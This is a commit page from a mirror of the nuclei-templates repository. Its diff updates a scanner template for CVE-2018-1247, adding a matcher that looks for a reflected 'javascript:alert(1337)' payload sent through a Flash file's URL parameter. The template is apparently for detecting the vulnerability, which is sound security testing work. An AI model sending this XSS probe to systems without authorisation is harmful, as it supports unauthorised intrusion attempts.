daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

updated matcher

patch-1
bauthard 2020-07-07 00:34:27 +05:30 committed by GitHub
parent ebb2f1f3ac
commit 24eafa3648
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
cves/CVE-2018-1247.yaml
View File

@ -9,8 +9,14 @@ requests:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//" - "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//"
matchers-condition: and
matchers: matchers:
- type: word - type: word
words: words:
- "application/x-shockwave-flash" - "application/x-shockwave-flash"
part: header part: header
- type: word
words:
- "javascript:alert(1337)"
part: body